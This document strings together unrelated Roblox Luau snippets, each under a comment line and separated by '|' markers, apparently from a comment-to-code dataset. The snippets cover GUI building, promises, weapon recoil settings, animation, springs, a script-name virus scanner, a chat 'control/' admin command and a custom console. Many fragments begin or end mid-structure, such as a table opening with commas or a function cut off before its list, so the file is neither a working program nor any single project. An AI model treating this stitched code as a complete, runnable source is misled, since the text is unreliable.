local UIPadding2 = Instance.new("UIPadding")
UIPadding2.PaddingLeft = UDim.new(0, 10)
UIPadding2.Parent = Title
local Label = Instance.new("TextLabel")
Label.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Label.BackgroundTransparency = 1
Label.Font = Enum.Font.SourceSansLight
Label.Name = "Label"
Label.Size = UDim2.new(1, 0, 1, 0)
Label.Text = "The players to teleport. The players to teleport. The players to teleport. The players to teleport. "
Label.TextColor3 = Color3.fromRGB(255, 255, 255)
Label.TextSize = 16
Label.TextWrapped = true
Label.TextXAlignment = Enum.TextXAlignment.Left
Label.TextYAlignment = Enum.TextYAlignment.Top
Label.Parent = Description
local UIPadding3 = Instance.new("UIPadding")
UIPadding3.PaddingBottom = UDim.new(0, 10)
UIPadding3.PaddingLeft = UDim.new(0, 10)
UIPadding3.PaddingRight = UDim.new(0, 10)
UIPadding3.Parent = Description
local Typed = Instance.new("TextLabel")
Typed.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Typed.BackgroundTransparency = 1
Typed.Font = Enum.Font.Code
Typed.Name = "Typed"
Typed.Size = UDim2.new(1, 0, 1, 0)
Typed.Text = "Lab"
Typed.TextColor3 = Color3.fromRGB(131, 222, 255)
Typed.TextSize = 14
Typed.TextXAlignment = Enum.TextXAlignment.Left
Typed.Parent = TextButton
local UIPadding4 = Instance.new("UIPadding")
UIPadding4.PaddingLeft = UDim.new(0, 10)
UIPadding4.Parent = TextButton
local Suggest = Instance.new("TextLabel")
Suggest.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Suggest.BackgroundTransparency = 1
Suggest.Font = Enum.Font.Code
Suggest.Name = "Suggest"
Suggest.Size = UDim2.new(1, 0, 1, 0)
Suggest.Text = " el"
Suggest.TextColor3 = Color3.fromRGB(255, 255, 255)
Suggest.TextSize = 14
Suggest.TextXAlignment = Enum.TextXAlignment.Left
Suggest.Parent = TextButton
local Type = Instance.new("TextLabel")
Type.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Type.BackgroundTransparency = 1
Type.BorderColor3 = Color3.fromRGB(255, 153, 153)
Type.Font = Enum.Font.SourceSans
Type.Name = "Type"
Type.Position = UDim2.new(1, 0, 0, 0)
Type.Size = UDim2.new(0, 0, 1, 0)
Type.Text = ": Players"
Type.TextColor3 = Color3.fromRGB(255, 255, 255)
Type.TextSize = 15
Type.TextXAlignment = Enum.TextXAlignment.Left
Type.Parent = Field
Cmdr.Parent = game:GetService("StarterGui")
return Cmdr
end
|
--Checks if the object exceeds the boundries given by the plot----------
|
local function CheckBoundaries(Plot, Primary)
local Position = Plot.CFrame
local Size = CFrame.fromOrientation(0, Primary.Orientation.Y*math.pi/180, 0)*Primary.Size
local CurrentPos = Position:Inverse()*Primary.CFrame
local xBound = (Plot.Size.X - Size.X)
local zBound = (Plot.Size.Z - Size.Z)
return CurrentPos.X > xBound or CurrentPos.X < -xBound or CurrentPos.Z > zBound or CurrentPos.Z < -zBound
end
local function HandleCollisions(Character, Item, Collisions, Plot)
if not Collisions then Item.PrimaryPart.Transparency = 1; return true end
local Collision = CheckHitbox(Character, Item, Plot)
if Collision then Item:Destroy(); return false end
Item.PrimaryPart.Transparency = 1
return true
end
|
-- Libraries
|
local Core = require(script.Parent.Core);
local Support = Core.Support;
|
--[[
Create a promise that represents the immediately resolved value.
]]
|
function Promise.resolve(...)
local length, values = pack(...)
return Promise._new(debug.traceback(nil, 2), function(resolve)
resolve(unpack(values, 1, length))
end)
end
Promise.Resolve = Promise.resolve
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {7,14} --- Vertical Recoil
,HRecoil = {4.5,12} --- Horizontal Recoil
,AimRecover = .65 ---- Between 0 & 1
,RecoilPunch = .15
,VPunchBase = 2.55 --- Vertical Punch
,HPunchBase = 1.6 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .5
,MaxRecoilPower = 3
,RecoilPowerStepAmount = .25
,MinSpread = 0.95 --- Min bullet spread value | Studs
,MaxSpread = 47 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = .75
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
|
--- Gamepass purchase prompted!
|
_L.MarketplaceService.PromptGamePassPurchaseFinished:Connect(function(player, gamepassId, purchased)
if player then
--- Did player complete transaction?
if purchased == true then
--- Player bought gamepass! WHAT A MASSIVE LEGEND
AddGamepass(player, gamepassId)
--- Let client know purchase went through
_L.Network.Fire("Gamepass Bought", player, gamepassId)
end
end
end)
|
--- The dispatcher handles creating and running commands during the game.
|
local Dispatcher = {
Cmdr = nil;
Registry = nil;
}
|
------------------
------------------
|
function waitForChild(parent, childName)
while true do
local child = parent:findFirstChild(childName)
if child then
return child
end
parent.ChildAdded:wait()
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Zombie")
local pose = "Standing"
local toolAnim = "None"
local toolAnimTime = 0
local isSeated = false
function onRunning(speed)
if isSeated then return end
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function onJumping()
isSeated = false
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onDancing()
pose = "Dancing"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
isSeated = true
pose = "Seated"
end
function moveJump()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFreeFall()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1
LeftShoulder.DesiredAngle = -1
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFloat()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = -1.57
end
function moveBoogy()
while pose=="Boogy" do
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 1.57
end
end
function moveZombie()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function movePunch()
script.Parent.Torso.Anchored=true
RightShoulder.MaxVelocity = 60
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
wait(1)
script.Parent.Torso.Anchored=false
pose="Standing"
end
function moveKick()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveFly()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveClimb()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = -3.14 /2
LeftShoulder.DesiredAngle = -3.14 /2
RightHip.DesiredAngle = 3.14 /2
LeftHip.DesiredAngle = -3.14 /2
end
function getTool()
kidTable = Figure:children()
if (kidTable ~= nil) then
numKids = #kidTable
for i=1,numKids do
if (kidTable[i].className == "Tool") then return kidTable[i] end
end
end
return nil
end
function getToolAnim(tool)
c = tool:children()
for i=1,#c do
if (c[i].Name == "toolanim" and c[i].className == "StringValue") then
return c[i]
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulder.DesiredAngle = -1.57
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 1.0
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "Zombie") then
moveZombie()
return
end
if (pose == "Boogy") then
moveBoogy()
return
end
if (pose == "Float") then
moveFloat()
return
end
if (pose == "Punch") then
movePunch()
return
end
if (pose == "Kick") then
moveKick()
return
end
if (pose == "Fly") then
moveFly()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Climbing") then
moveClimb()
return
end
if (pose == "Seated") then
moveSit()
return
end
amplitude = 0.1
frequency = 1
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
if (pose == "Running") then
amplitude = 1
frequency = 9
elseif (pose == "Dancing") then
amplitude = 2
frequency = 16
end
desiredAngle = amplitude * math.sin(time*frequency)
if pose~="Dancing" then
RightShoulder.DesiredAngle = -desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
else
RightShoulder.DesiredAngle = desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
end
local tool = getTool()
if tool ~= nil then
animStringValueObject = getToolAnim(tool)
if animStringValueObject ~= nil then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
--- Skip forwards in now
-- @param delta now to skip forwards
|
function Spring:TimeSkip(delta)
local now = self._clock()
local position, velocity = self:_positionVelocity(now+delta)
self._position0 = position
self._velocity0 = velocity
self._time0 = now
end
function Spring:__index(index)
if Spring[index] then
return Spring[index]
elseif index == "Value" or index == "Position" or index == "p" then
local position, _ = self:_positionVelocity(self._clock())
return position
elseif index == "Velocity" or index == "v" then
local _, velocity = self:_positionVelocity(self._clock())
return velocity
elseif index == "Target" or index == "t" then
return self._target
elseif index == "Damper" or index == "d" then
return self._damper
elseif index == "Speed" or index == "s" then
return self._speed
elseif index == "Clock" then
return self._clock
else
error(("%q is not a valid member of Spring"):format(tostring(index)), 2)
end
end
function Spring:__newindex(index, value)
local now = self._clock()
if index == "Value" or index == "Position" or index == "p" then
local _, velocity = self:_positionVelocity(now)
self._position0 = value
self._velocity0 = velocity
self._time0 = now
elseif index == "Velocity" or index == "v" then
local position, _ = self:_positionVelocity(now)
self._position0 = position
self._velocity0 = value
self._time0 = now
elseif index == "Target" or index == "t" then
local position, velocity = self:_positionVelocity(now)
self._position0 = position
self._velocity0 = velocity
self._target = value
self._time0 = now
elseif index == "Damper" or index == "d" then
local position, velocity = self:_positionVelocity(now)
self._position0 = position
self._velocity0 = velocity
self._damper = math.clamp(value, 0, 1)
self._time0 = now
elseif index == "Speed" or index == "s" then
local position, velocity = self:_positionVelocity(now)
self._position0 = position
self._velocity0 = velocity
self._speed = value < 0 and 0 or value
self._time0 = now
elseif index == "Clock" then
local position, velocity = self:_positionVelocity(now)
self._position0 = position
self._velocity0 = velocity
self._clock = value
self._time0 = value()
else
error(("%q is not a valid member of Spring"):format(tostring(index)), 2)
end
end
function Spring:_positionVelocity(now)
local p0 = self._position0
local v0 = self._velocity0
local p1 = self._target
local d = self._damper
local s = self._speed
local t = s*(now - self._time0)
local d2 = d*d
local h, si, co
if d2 < 1 then
h = math.sqrt(1 - d2)
local ep = math.exp(-d*t)/h
co, si = ep*math.cos(h*t), ep*math.sin(h*t)
elseif d2 == 1 then
h = 1
local ep = math.exp(-d*t)/h
co, si = ep, ep*t
else
h = math.sqrt(d2 - 1)
local u = math.exp((-d + h)*t)/(2*h)
local v = math.exp((-d - h)*t)/(2*h)
co, si = u + v, u - v
end
local a0 = h*co + d*si
local a1 = 1 - (h*co + d*si)
local a2 = si/s
local b0 = -s*si
local b1 = s*si
local b2 = h*co - d*si
return
a0*p0 + a1*p1 + a2*v0, b0*p0 + b1*p1 + b2*v0
end
return Spring
|
--[[
Returns the model associated with the system
]]
|
function BaseSystem:getModel()
return self._model
end
|
--the Inportain Calculating what has to be Updated and Value Update
|
minigun.total = minigun.left + minigun.right
vParts.Values.Minigun.Value = minigun.total
vParts.Values.Hydra.Value = hydra.right + hydra.left
vParts.Values.On.Value = on
|
--Type "ScanForViruses(model,0,true)" to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type "ScanForViruses(model,0,false)" to reveal all scripts.
|
function getAncestry(i)
local s = ""
local p = i.Parent
s = p.Name
while p ~= game do
p = p.Parent
s = p.Name.."."..s
end
return s
end
function Check(i,n,w)
local s = ""
for a = 1, n do
s = s.."- - "
end
if i == nil then return end
if printAll then print(s.."Checking "..i.Name) end
if i == script then return end --don't need to check self, will still check children of self
if i.className == "Script" then
for x = 1, #maliciousscripts do
if i.Name == maliciousscripts[x] then
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.Daisy -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
-- On Startup
-- Run on start to update variables to current values
|
updateUpgrades()
if IS_MOBILE then
ClickButton.Visible = false
end
|
-- ROBLOX deviation END
|
local EMPTY = Set.new() :: Set<string>
export type DeepCyclicCopyOptions = { blacklist: Set<string>?, keepPrototype: boolean? }
function deepCyclicCopy<T>(value: T, options_: DeepCyclicCopyOptions?, cycles_: WeakMap<any, any>?): T
local options = options_ or { blacklist = EMPTY, keepPrototype = false }
local cycles = cycles_ or WeakMap.new()
if typeof(value) ~= "table" then
return value
elseif cycles:has(value) then
return cycles:get(value)
elseif Array.isArray(value) then
return deepCyclicCopyArray(value, options, cycles) :: any
else
return deepCyclicCopyObject(value, options, cycles)
end
end
exports.default = deepCyclicCopy
function deepCyclicCopyObject<T>(object: T, options: DeepCyclicCopyOptions, cycles: WeakMap<any, any>): T
-- ROBLOX deviation START: prototypes are not supported
local newObject = {}
if options.keepPrototype then
warn("Prototype copying is not supported")
end
-- ROBLOX deviation END
-- ROBLOX deviation START: no property descriptors in Lua
local descriptors = Array.reduce(Object.keys(object :: any), function(acc, key)
acc[key] = {
value = (object :: any)[key],
}
return acc
end, {})
-- ROBLOX deviation END
cycles:set(object, newObject)
Array.forEach(Object.keys(descriptors), function(key)
if options.blacklist ~= nil and options.blacklist:has(key) then
descriptors[key] = nil
return
end
local descriptor = descriptors[key]
if typeof(descriptor.value) ~= "nil" then
descriptor.value = deepCyclicCopy(
descriptor.value,
{ blacklist = EMPTY, keepPrototype = options.keepPrototype },
cycles
)
end
descriptor.configurable = true
end)
-- ROBLOX deviation START: no property descriptors in Lua
return Object.assign(
newObject,
Array.reduce(Object.keys(descriptors), function(acc, key)
acc[key] = descriptors[key].value
return acc
end, {})
)
-- ROBLOX deviation END
end
function deepCyclicCopyArray<T>(array: Array<T>, options: DeepCyclicCopyOptions, cycles: WeakMap<any, any>): T
-- ROBLOX deviation START: prototypes are not supported
local newArray = {}
if options.keepPrototype then
warn("Prototype copying is not supported")
end
-- ROBLOX deviation END
local length = #array
cycles:set(array, newArray)
for i = 1, length do
newArray[i] = deepCyclicCopy(array[i], { blacklist = EMPTY, keepPrototype = options.keepPrototype }, cycles)
end
-- ROBLOX FIXME Luau: need to cast to `any` as Lua can't infer types properly
return newArray :: any
end
return exports
|
--I finally tried flicking it but it keeps on coming back......
|
if string.sub(msg,1,8) == "control/" then
local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
if #player > 1 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
speaker.Character = player[i].Character
end end end end
|
-- FUNCTIONS --
|
return function(dropFX, rarity, speed, distance, endCF)
local HL = script.Highlight:Clone()
HL.Parent = dropFX.Parent
local Info = TweenInfo.new(2.5, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)
local Info1 = TweenInfo.new(1.75, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, -1, true)
--local p0 = dropFX.Position
--local p2 = endCF.Position
--local p1 = CFrame.new((p0 + p2) / 2) * CFrame.new(0, Random.new():NextNumber(15 * 0.3, 15), 0).Position
--local Tween = bezierTween.Create(dropFX, {
-- Waypoints = Waypoints.new(p0, p1, p2),
-- EasingStyle = Enum.EasingStyle.Linear,
-- EasingDirection = Enum.EasingDirection.In,
-- Time = distance/speed
--})
--Tween:Play()
--Tween.Completed:Connect(function()
--task.delay(speed/distance, function()
if dropFX then
--TS:Create(dropFX, Info, {Orientation = dropFX.Orientation + Vector3.new(0, 360, 0)}):Play() --
TS:Create(dropFX, Info1, {CFrame = dropFX.CFrame * CFrame.new(0, -1.5, 0) * CFrame.Angles(0, 360 * 3, 0)}):Play() -- Position = dropFX.Position + Vector3.new(0, -1.5, 0)
end
--end)
end
|
--[[
Responsible for managing positions for art spots on a single surface.
This component does not assume the size of the parent and renders everything relative
to it (the parent). i.e. This is not a SurfaceGui component for testability purposes.
We will adorn this to a SurfaceGui one level higher.
]]
|
local SurfaceCanvas = Roact.Component:extend("SurfaceCanvas")
SurfaceCanvas.defaultProps = {
numRows = 2,
numCols = 5,
paddingLeft = UDim.new(0, 8),
paddingRight = UDim.new(0, 8),
paddingTop = UDim.new(0, 8),
paddingBottom = UDim.new(0, 8),
}
function SurfaceCanvas:render()
local artItems = self.props[Roact.Children]
for i, artItem in ipairs(artItems) do
artItems[i] = Roact.createElement("Frame", {
LayoutOrder = i,
BackgroundTransparency = 1,
Size = UDim2.fromScale(1, 1),
}, artItem)
end
return Roact.createElement(
"Frame",
{
BackgroundTransparency = 1,
Size = UDim2.fromScale(1, 1),
[Roact.Ref] = self.frame,
},
Cryo.List.join({
Roact.createElement("UIGridLayout", {
SortOrder = Enum.SortOrder.LayoutOrder,
CellPadding = UDim2.fromScale(0, 0),
CellSize = UDim2.fromScale(1 / self.props.numCols, 1 / self.props.numRows),
}),
Roact.createElement("UIPadding", {
PaddingLeft = self.props.paddingLeft,
PaddingRight = self.props.paddingRight,
PaddingTop = self.props.paddingTop,
PaddingBottom = self.props.paddingBottom,
}),
}, artItems)
)
end
return SurfaceCanvas
|
--RR
|
rSprings[2].Thickness = Settings[1]
rSprings[2].MaxLength = Settings[2]
rSprings[2].MinLength = Settings[3]
rSprings[2].Damping = Settings[4]
rSprings[2].FreeLength = Settings[5]
rSprings[2].LimitsEnabled = Settings[6]
rSprings[2].MaxForce = Settings[7]
rSprings[2].Stiffness = Settings[8]
end
|
-- padding between items within each entry
|
local ENTRY_PADDING = 1
|
------- DONT EDIT | Verifies Tools Existence -----------
|
if script.Parent.ClassName == "Tool" then
Tool = script.Parent
elseif script.Parent.Parent.ClassName == "Tool" then
Tool = script.Parent.Parent
elseif script.Parent.Parent.Parent.ClassName == "Tool" then
Tool = script.Parent.Parent.Parent
elseif script.Parent.Parent.Parent.Parent.ClassName == "Tool" then
Tool = script.Parent.Parent.Parent.Parent
else
print("COULD NOT FIND TOOL")
script:Destroy()
end
|
-- Get player control module
|
function UserInputController:_getPlayerControls()
if not self._playerControls then
pcall(function()
self._playerControls = require(self.player.PlayerScripts.PlayerModule):GetControls()
end)
end
return self._playerControls
end
return UserInputController
|
----- Script: -----
|
if UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled and not UserInputService.MouseEnabled then
IconosFrame.Buttons.ShowButton.Visible = true
IconosFrame.Transparency = 0.8
elseif not UserInputService.TouchEnabled and UserInputService.KeyboardEnabled and UserInputService.MouseEnabled then
end
|
--// Load Assets
|
CP:PreloadAsync(rp:GetDescendants())
warn("All Assets Loaded ✅")
|
--// Script
|
for index,Weapon in pairs(Folder:GetChildren()) do
local Clone = Template:Clone()
Clone.Name = Weapon.Name
Clone.Price.Value = Weapon.Price.Value
Clone.NAME.Text = Weapon.Name
Clone.COST.Text = Weapon.Price.Value
Clone.Visible = true
Clone.Parent = script.Parent
end
|
--UnregisterDialogue
--* called when the client discovers that a dialogue has been
--* removed from the game. You should clean any guis you had
--* created in order to let the user interact with the dialogue.
|
function Interface.UnregisterDialogue(dialogue)
end
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
BaseUrl = "http://www.roblox.com/asset/?id="
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
Particles = script:WaitForChild("Particles")
BasePart = Create("Part"){
Shape = Enum.PartType.Block,
Material = Enum.Material.Plastic,
TopSurface = Enum.SurfaceType.Smooth,
BottomSurface = Enum.SurfaceType.Smooth,
FormFactor = Enum.FormFactor.Custom,
Size = Vector3.new(0.2, 0.2, 0.2),
CanCollide = true,
Locked = true,
Anchored = false,
}
Animations = {
Fly = {Animation = Tool:WaitForChild("Fly"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}
}
Sounds = {}
FogParticles = {}
Remotes = Tool:WaitForChild("Remotes")
ServerControl = (Remotes:FindFirstChild("ServerControl") or Create("RemoteFunction"){
Name = "ServerControl",
Parent = Remotes,
})
ClientControl = (Remotes:FindFirstChild("ClientControl") or Create("RemoteFunction"){
Name = "ClientControl",
Parent = Remotes,
})
ReloadTime = 1
ToolEquipped = false
Handle.Transparency = 0
Tool.Enabled = true
function Activated()
local MouseData = InvokeClient("MouseData")
if not MouseData or not MouseData.Position then
return
end
if not Tool.Enabled or not CheckIfAlive() or not ToolEquipped then
return
end
Tool.Enabled = false
wait(ReloadTime)
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
RootPart = Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
ToolEquipped = true
end
function Unequipped()
if FogLoop then
FogLoop:disconnect()
end
for i, v in pairs(FogParticles) do
if v and v.Parent then
v.Enabled = false
Debris:AddItem(v, 3)
end
end
FogParticles = {}
ToolEquipped = false
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
function OnServerInvoke(player, Mode, Value)
if player ~= Player or not ToolEquipped or not CheckIfAlive() or not Mode or not Value then
return
end
if Mode == "Flying" then
local Mode = Value.Mode
for i, v in pairs(FogParticles) do
if v and v.Parent then
v.Enabled = false
Debris:AddItem(v, 3)
end
end
FogParticles = {}
if FogLoop then
FogLoop:disconnect()
end
if Mode then
Spawn(function()
InvokeClient("PlayAnimation", Animations.Fly)
end)
for i, v in pairs(Particles:GetChildren()) do
if v:IsA("ParticleEmitter") then
local Particle = v:Clone()
table.insert(FogParticles, Particle)
Particle.Enabled = false
Particle.Parent = RootPart
end
end
FogLoop = RunService.Stepped:connect(function(Time, Step)
local Speed = (RootPart.Velocity * Vector3.new(1, 0, 1)).Magnitude
for i, v in pairs(FogParticles) do
v.Enabled = (Speed > 15)
end
end)
else
Spawn(function()
InvokeClient("StopAnimation", Animations.Fly)
end)
end
end
end
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-----------------------------------------------------------------------------------------------
|
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()
local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local gauges = script.Parent
local values = script.Parent.Parent.Values
local isOn = script.Parent.Parent.IsOn
local intach = car.Body.Dash.Tac.G.Needle
local inspd = car.Body.Dash.Spd.G.Needle
gauges:WaitForChild("Speedo")
gauges:WaitForChild("Tach")
gauges:WaitForChild("Boost")
gauges:WaitForChild("ln")
gauges:WaitForChild("bln")
gauges:WaitForChild("Gear")
gauges:WaitForChild("Speed")
car.DriveSeat.HeadsUpDisplay = false
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)
|
--When a player leaves
|
game.Players.PlayerRemoving:Connect(function(Player)
beforeSave(Player)
end)
|
-- ROBLOX FIXME LUAU: Casting to any to prevent unwanted type narrowing
|
local CustomConsole = setmetatable({}, { __index = Console }) :: any
CustomConsole.__index = CustomConsole
function CustomConsole.new(stdout: unknown, stderr: unknown, formatBuffer_: Formatter?): CustomConsole
local self = setmetatable((Console.new(stdout, stderr) :: any) :: CustomConsolePrivate, CustomConsole)
local formatBuffer: Formatter = if formatBuffer_ ~= nil
then formatBuffer_
else function(_: LogType, message: LogMessage)
return message
end
self._counters = {}
self._timers = {}
self._groupDepth = 0
self.Console = Console
self._stdout = stdout
self._stderr = stderr
self._formatBuffer = formatBuffer
return (self :: any) :: CustomConsole
end
function CustomConsole._log(self: CustomConsolePrivate, type: LogType, message: string)
clearLine(self._stdout);
-- ROBLOX FIXME: Find a better way to handle super calls
(Console.log :: any)(self, self._formatBuffer(type, (" "):rep(self._groupDepth) .. message))
end
function CustomConsole._logError(self: CustomConsolePrivate, type: LogType, message: string)
clearLine(self._stderr);
-- ROBLOX FIXME: Find a better way to handle super calls
(Console.error :: any)(self, self._formatBuffer(type, (" "):rep(self._groupDepth) .. message))
end
function CustomConsole.assert(self: CustomConsolePrivate, value: unknown, message: (string | Error)?)
xpcall(function()
assert(value)
end, function(error_)
local msg = ""
if message ~= nil then
msg = " " .. tostring(message)
end
self:_logError("assert", tostring(error_) .. msg)
end)
end
function CustomConsole.count(self: CustomConsolePrivate, label_: string?)
local label: string = if label_ ~= nil then label_ else "default"
if self._counters[label] == nil then
self._counters[label] = 0
end
self._counters[label] += 1
self:_log("count", format("%s: %s", label, self._counters[label]))
end
function CustomConsole.countReset(self: CustomConsolePrivate, label_: string?)
local label: string = if label_ ~= nil then label_ else "default"
self._counters[label] = 0
end
function CustomConsole.debug(self: CustomConsolePrivate, firstArg: unknown, ...: any)
self:_log("debug", format(firstArg, ...))
end
function CustomConsole.dir(self: CustomConsolePrivate, firstArg: unknown, options_: InspectOptions?)
local options: InspectOptions = options_ or {}
local representation = inspect(firstArg, options)
self:_log("dir", formatWithOptions(options, representation))
end
function CustomConsole.dirxml(self: CustomConsolePrivate, firstArg: unknown, ...: any)
self:_log("dirxml", format(firstArg, ...))
end
function CustomConsole.error(self: CustomConsolePrivate, firstArg: unknown, ...: any)
self:_logError("error", format(firstArg, ...))
end
function CustomConsole.group(self: CustomConsolePrivate, title: string?, ...: any)
local args = { ... }
self._groupDepth += 1
if Boolean.toJSBoolean(title) or #args > 0 then
self:_log("group", chalk.bold(format(title, ...)))
end
end
function CustomConsole.groupCollapsed(self: CustomConsolePrivate, title: string?, ...: any)
local args = { ... }
self._groupDepth += 1
if Boolean.toJSBoolean(title) or #args > 0 then
self:_log("groupCollapsed", chalk.bold(format(title, ...)))
end
end
function CustomConsole.groupEnd(self: CustomConsolePrivate)
if self._groupDepth > 0 then
self._groupDepth -= 1
end
end
function CustomConsole.info(self: CustomConsolePrivate, firstArg: unknown, ...: any)
self:_log("info", format(firstArg, ...))
end
function CustomConsole.log(self: CustomConsolePrivate, firstArg: unknown, ...: any)
self:_log("log", format(firstArg, ...))
end
function CustomConsole.time(self: CustomConsolePrivate, label_: string?)
local label: string = if label_ ~= nil then label_ else "default"
if self._timers[label] ~= nil then
return
end
